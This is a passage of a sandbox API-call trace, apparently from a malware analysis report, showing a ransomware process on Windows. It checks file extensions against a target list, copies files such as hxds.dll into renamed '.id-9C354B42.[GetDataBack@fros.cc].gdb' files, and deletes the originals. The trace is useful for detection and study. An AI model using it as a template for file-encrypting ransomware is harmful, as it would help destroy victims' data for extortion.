Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0132.829] lstrlenW (lpString=".dbf") returned 4 [0132.829] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0132.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0132.829] lstrlenW (lpString=".1cd") returned 4 [0132.829] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0132.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT") returned 67 [0132.829] lstrlenW (lpString=".jpg") returned 4 [0132.829] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0132.829] lstrcmpiW (lpString1=".dll", lpString2=".gdb") returned -1 [0132.829] lstrlenW (lpString="hxds.dll") returned 8 [0132.830] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0132.873] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x2a7fe9c | out: lpFileSize=0x2a7fe9c*=1257984) returned 1 [0132.873] CloseHandle (hObject=0x228) returned 1 [0132.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll")) returned 0x20 [0132.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0132.873] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0132.873] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fe48 | out: lpNewFilePointer=0x0) returned 1 [0132.873] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fe48 | out: lpNewFilePointer=0x0) returned 1 [0132.873] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0132.878] GetLastError () returned 0x0 [0132.878] ReadFile (in: hFile=0x228, lpBuffer=0x3340020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fe54, lpOverlapped=0x0 | out: lpBuffer=0x3340020*, lpNumberOfBytesRead=0x2a7fe54*=0xffff0, lpOverlapped=0x0) returned 1 [0134.443] WriteFile (in: hFile=0x214, lpBuffer=0x3340020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2a7fc1c, lpOverlapped=0x0 | out: lpBuffer=0x3340020*, lpNumberOfBytesWritten=0x2a7fc1c*=0xffff0, lpOverlapped=0x0) returned 1 [0135.057] ReadFile (in: hFile=0x228, lpBuffer=0x3340020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fe54, lpOverlapped=0x0 | out: lpBuffer=0x3340020*, lpNumberOfBytesRead=0x2a7fe54*=0x33210, lpOverlapped=0x0) returned 1 [0135.066] WriteFile (in: hFile=0x214, lpBuffer=0x3340020*, nNumberOfBytesToWrite=0x33220, lpNumberOfBytesWritten=0x2a7fc1c, lpOverlapped=0x0 | out: lpBuffer=0x3340020*, lpNumberOfBytesWritten=0x2a7fc1c*=0x33220, lpOverlapped=0x0) returned 1 [0135.072] ReadFile (in: hFile=0x228, lpBuffer=0x3340020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fe54, lpOverlapped=0x0 | out: lpBuffer=0x3340020*, lpNumberOfBytesRead=0x2a7fe54*=0x0, lpOverlapped=0x0) returned 1 [0135.072] WriteFile (in: hFile=0x214, lpBuffer=0x3340020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2a7fc1c, lpOverlapped=0x0 | out: lpBuffer=0x3340020*, lpNumberOfBytesWritten=0x2a7fc1c*=0xe4, lpOverlapped=0x0) returned 1 [0135.072] SetEndOfFile (hFile=0x214) returned 1 [0135.072] CloseHandle (hObject=0x214) returned 1 [0135.072] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fe48 | out: lpNewFilePointer=0x0) returned 1 [0135.072] SetEndOfFile (hFile=0x228) returned 1 [0135.074] CloseHandle (hObject=0x228) returned 1 [0135.074] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0135.075] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll")) returned 1 [0135.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0135.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0135.075] lstrlenW (lpString=".doc") returned 4 [0135.075] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0135.075] lstrlenW (lpString=".docx") returned 5 [0135.075] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0135.075] lstrlenW (lpString=".pdf") returned 4 [0135.075] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0135.075] lstrlenW (lpString=".xls") returned 4 [0135.075] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0135.075] lstrlenW (lpString=".xlsx") returned 5 [0135.075] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0135.075] lstrlenW (lpString=".ppt") returned 4 [0135.075] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0135.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0135.075] lstrlenW (lpString=".zip") returned 4 [0135.075] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0135.075] lstrlenW (lpString=".rar") returned 4 [0135.075] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0135.075] lstrlenW (lpString=".bz2") returned 4 [0135.075] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0135.075] lstrlenW (lpString=".7z") returned 3 [0135.075] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0135.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0135.075] lstrlenW (lpString=".dbf") returned 4 [0135.075] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0135.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0135.075] lstrlenW (lpString=".1cd") returned 4 [0135.076] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0135.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0135.076] lstrlenW (lpString=".jpg") returned 4 [0135.076] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0135.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0135.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0135.076] lstrlenW (lpString=".doc") returned 4 [0135.076] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0135.076] lstrlenW (lpString=".docx") returned 5 [0135.076] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0135.076] lstrlenW (lpString=".pdf") returned 4 [0135.076] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0135.076] lstrlenW (lpString=".xls") returned 4 [0135.076] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0135.076] lstrlenW (lpString=".xlsx") returned 5 [0135.076] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0135.076] lstrlenW (lpString=".ppt") returned 4 [0135.076] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0135.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0135.076] lstrlenW (lpString=".zip") returned 4 [0135.076] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0135.076] lstrlenW (lpString=".rar") returned 4 [0135.076] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0135.076] lstrlenW (lpString=".bz2") returned 4 [0135.076] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0135.076] lstrlenW (lpString=".7z") returned 3 [0135.076] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0135.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0135.076] lstrlenW (lpString=".dbf") returned 4 [0135.076] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0135.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0135.076] lstrlenW (lpString=".1cd") returned 4 [0135.076] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0135.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0135.076] lstrlenW (lpString=".jpg") returned 4 [0135.076] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0135.077] lstrcmpiW (lpString1=".mui", lpString2=".gdb") returned 1 [0135.077] lstrlenW (lpString="IPSEventLogMsg.dll.mui") returned 22 [0135.077] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0135.300] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2a7fe9c | out: lpFileSize=0x2a7fe9c*=22528) returned 1 [0135.300] CloseHandle (hObject=0x198) returned 1 [0135.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui")) returned 0x20 [0135.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0135.301] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0135.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0135.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0135.301] lstrlenW (lpString=".doc") returned 4 [0135.301] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0135.301] lstrlenW (lpString=".docx") returned 5 [0135.301] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0135.301] lstrlenW (lpString=".pdf") returned 4 [0135.301] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0135.301] lstrlenW (lpString=".xls") returned 4 [0135.301] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0135.301] lstrlenW (lpString=".xlsx") returned 5 [0135.301] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0135.301] lstrlenW (lpString=".ppt") returned 4 [0135.301] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0135.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0135.301] lstrlenW (lpString=".zip") returned 4 [0135.301] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0135.301] lstrlenW (lpString=".rar") returned 4 [0135.301] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0135.301] lstrlenW (lpString=".bz2") returned 4 [0135.301] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0135.301] lstrlenW (lpString=".7z") returned 3 [0135.301] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0135.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0135.301] lstrlenW (lpString=".dbf") returned 4 [0135.301] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0135.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0135.301] lstrlenW (lpString=".1cd") returned 4 [0135.301] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0135.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0135.301] lstrlenW (lpString=".jpg") returned 4 [0135.301] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0135.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0135.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0135.302] lstrlenW (lpString=".doc") returned 4 [0135.302] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0135.302] lstrlenW (lpString=".docx") returned 5 [0135.302] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0135.302] lstrlenW (lpString=".pdf") returned 4 [0135.302] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0135.302] lstrlenW (lpString=".xls") returned 4 [0135.302] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0135.302] lstrlenW (lpString=".xlsx") returned 5 [0135.302] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0135.302] lstrlenW (lpString=".ppt") returned 4 [0135.302] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0135.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0135.302] lstrlenW (lpString=".zip") returned 4 [0135.302] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0135.302] lstrlenW (lpString=".rar") returned 4 [0135.302] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0135.302] lstrlenW (lpString=".bz2") returned 4 [0135.302] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0135.302] lstrlenW (lpString=".7z") returned 3 [0135.302] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0135.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0135.302] lstrlenW (lpString=".dbf") returned 4 [0135.302] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0135.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0135.302] lstrlenW (lpString=".1cd") returned 4 [0135.302] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0135.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0135.302] lstrlenW (lpString=".jpg") returned 4 [0135.302] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0135.302] lstrcmpiW (lpString1=".mui", lpString2=".gdb") returned 1 [0135.302] lstrlenW (lpString="mip.exe.mui") returned 11 [0135.302] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0135.303] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2a7fe9c | out: lpFileSize=0x2a7fe9c*=10240) returned 1 [0135.303] CloseHandle (hObject=0x198) returned 1 [0135.303] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui")) returned 0x20 [0135.303] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0135.303] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0135.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui") returned 68 [0135.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui") returned 68 [0135.303] lstrlenW (lpString=".doc") returned 4 [0135.303] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0135.303] lstrlenW (lpString=".docx") returned 5 [0135.303] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0135.303] lstrlenW (lpString=".pdf") returned 4 [0135.303] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0135.303] lstrlenW (lpString=".xls") returned 4 [0135.303] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0135.303] lstrlenW (lpString=".xlsx") returned 5 [0135.303] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0135.303] lstrlenW (lpString=".ppt") returned 4 [0135.303] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0135.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui") returned 68 [0135.303] lstrlenW (lpString=".zip") returned 4 [0135.303] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0135.303] lstrlenW (lpString=".rar") returned 4 [0135.303] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0135.303] lstrlenW (lpString=".bz2") returned 4 [0135.303] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0135.303] lstrlenW (lpString=".7z") returned 3 [0135.303] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0135.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui") returned 68 [0135.303] lstrlenW (lpString=".dbf") returned 4 [0135.303] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0135.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui") returned 68 [0135.304] lstrlenW (lpString=".1cd") returned 4 [0135.304] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0135.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui") returned 68 [0135.304] lstrlenW (lpString=".jpg") returned 4 [0135.304] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0135.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui") returned 68 [0135.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui") returned 68 [0135.304] lstrlenW (lpString=".doc") returned 4 [0135.304] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0135.304] lstrlenW (lpString=".docx") returned 5 [0135.304] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0135.304] lstrlenW (lpString=".pdf") returned 4 [0135.304] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0135.304] lstrlenW (lpString=".xls") returned 4 [0135.304] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0135.304] lstrlenW (lpString=".xlsx") returned 5 [0135.304] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0135.304] lstrlenW (lpString=".ppt") returned 4 [0135.304] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0135.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui") returned 68 [0135.304] lstrlenW (lpString=".zip") returned 4 [0135.304] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0135.304] lstrlenW (lpString=".rar") returned 4 [0135.304] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0135.304] lstrlenW (lpString=".bz2") returned 4 [0135.304] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0135.304] lstrlenW (lpString=".7z") returned 3 [0135.304] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0135.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui") returned 68 [0135.304] lstrlenW (lpString=".dbf") returned 4 [0135.304] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0135.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui") returned 68 [0135.304] lstrlenW (lpString=".1cd") returned 4 [0135.304] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0135.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui") returned 68 [0135.304] lstrlenW (lpString=".jpg") returned 4 [0135.304] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0135.305] lstrcmpiW (lpString1=".mui", lpString2=".gdb") returned 1 [0135.305] lstrlenW (lpString="mshwLatin.dll.mui") returned 17 [0135.305] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0135.305] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2a7fe9c | out: lpFileSize=0x2a7fe9c*=2560) returned 1 [0135.305] CloseHandle (hObject=0x198) returned 1 [0135.306] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui")) returned 0x20 [0135.306] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0135.306] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0135.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0135.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0135.306] lstrlenW (lpString=".doc") returned 4 [0135.306] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0135.306] lstrlenW (lpString=".docx") returned 5 [0135.306] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0135.306] lstrlenW (lpString=".pdf") returned 4 [0135.306] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0135.306] lstrlenW (lpString=".xls") returned 4 [0135.306] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0135.306] lstrlenW (lpString=".xlsx") returned 5 [0135.306] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0135.306] lstrlenW (lpString=".ppt") returned 4 [0135.306] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0135.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0135.306] lstrlenW (lpString=".zip") returned 4 [0135.306] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0135.306] lstrlenW (lpString=".rar") returned 4 [0135.306] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0135.306] lstrlenW (lpString=".bz2") returned 4 [0135.306] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0135.306] lstrlenW (lpString=".7z") returned 3 [0135.306] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0135.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0135.306] lstrlenW (lpString=".dbf") returned 4 [0135.306] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0135.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0135.306] lstrlenW (lpString=".1cd") returned 4 [0135.306] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0135.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0135.306] lstrlenW (lpString=".jpg") returned 4 [0135.306] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0135.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0135.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0135.307] lstrlenW (lpString=".doc") returned 4 [0135.307] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0135.307] lstrlenW (lpString=".docx") returned 5 [0135.307] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0135.307] lstrlenW (lpString=".pdf") returned 4 [0135.307] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0135.307] lstrlenW (lpString=".xls") returned 4 [0135.307] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0135.307] lstrlenW (lpString=".xlsx") returned 5 [0135.307] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0135.307] lstrlenW (lpString=".ppt") returned 4 [0135.307] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0135.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0135.307] lstrlenW (lpString=".zip") returned 4 [0135.307] lstrcmpiW 